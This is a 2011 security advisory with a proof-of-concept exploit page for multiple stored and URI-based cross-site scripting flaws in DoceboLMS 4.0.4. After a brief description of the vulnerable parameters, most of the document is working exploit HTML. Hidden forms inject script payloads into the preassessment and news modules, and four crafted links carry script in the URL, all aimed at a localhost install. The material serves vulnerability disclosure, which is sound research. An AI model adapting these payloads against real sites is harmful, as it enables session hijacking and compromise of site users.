DoceboLms 4.0.4 – Multiple Persistent Cross-Site Scripting Vulnerabilities
<!-- DoceboLMS 4.0.4 Multiple Stored XSS Vulnerabilities Vendor: Docebo Product web page: http://www.docebo.org Affected version: 4.0.4 CE Summary: DoceboLMS is a SCORM compliant Open Source e-Learning platform used in corporate, government and education markets. Desc: DoceboLMS suffers from multiple stored XSS vulnerabilities pre and post auth. Input thru the POST parameters 'name', 'code' and 'title' in index.php is not sanitized allowing the attacker to execute HTML code into user's browser session on the affected site. URI based XSS vulnerabilities are also present. Tested on: Tested on: Microsoft Windows XP Professional SP3 (EN) Apache 2.2.14 (Win32) PHP 5.3.1 MySQL 5.1.41 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic liquidworm gmail com Advisory ID: ZSL-2011-5006 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5006.php 02.04.2011 --> <html> <title>DoceboLMS 4.0.4 Multiple Stored XSS Vulnerabilities</title> <body bgcolor="#1C1C1C"> <script type="text/javascript"> function xss1(){document.forms["xss1"].submit();} function xss2(){document.forms["xss2"].submit();} </script> <br /><br /> <form action="http://localhost/DoceboLMS_404/doceboCore/index.php?modname=preassessment&op=modassessment" enctype="application/x-www-form-urlencoded" method="POST" id="xss1"> <input type="hidden" name="authentic_request" value="23dfee506a748201730ab2bb7486e77a" /> <input type="hidden" name="code" value='"><script>alert(1)</script>' /> <input type="hidden" name="description" value="ZSL" /> <input type="hidden" name="id_assess" value="0" /> <input type="hidden" name="name" value='"><script>alert(2)</script>' /> <input type="hidden" name="save" value="Save changes" /></form> <a href="javascript: xss1();" style="text-decoration:none"> <b><font color="red"><center><h3>Exploit PreAssessment Module!</h3></center></font></b></a><br /><br /> <form action="http://localhost/DoceboLMS_404/doceboCore/index.php?modname=news&op=savenews" enctype="application/x-www-form-urlencoded" method="POST" id="xss2"> <input type="hidden" name="authentic_request" value="23dfee506a748201730ab2bb7486e77a" /> <input type="hidden" name="language" value="2" /> <input type="hidden" name="long_desc" value="" /> <input type="hidden" name="news" value="Insert" /> <input type="hidden" name="short_desc" value="ZSL" /> <input type="hidden" name="title" value='"><script>alert(1)</script>' /></form> <a href="javascript: xss2();" style="text-decoration:none"> <b><font color="red"><center><h3>Exploit News Module!</h3></center></font></b></a><br /><br /> <a href="http://localhost/DoceboLMS_404/index.php?<script>alert(1)</script>" style="text-decoration:none"> <b><font color="red"><center><h3>Exploit URI XSS #1</h3></center></font></b></a><br /><br /> <a href="http://localhost/DoceboLMS_404/?<script>alert(1)</script>" style="text-decoration:none"> <b><font color="red"><center><h3>Exploit URI XSS #2</h3></center></font></b></a><br /><br /> <a href="http://localhost/DoceboLMS_404/docebolms/index.php/index.php?<script>alert(1)</script>" style="text-decoration:none"> <b><font color="red"><center><h3>Exploit URI XSS #3</h3></center></font></b></a><br /><br /> <a href="http://localhost/DoceboLMS_404/docebolms/?<script>alert(1)</script>" style="text-decoration:none"> <b><font color="red"><center><h3>Exploit URI XSS #4</h3></center></font></b></a><br /><br /> </body></html> |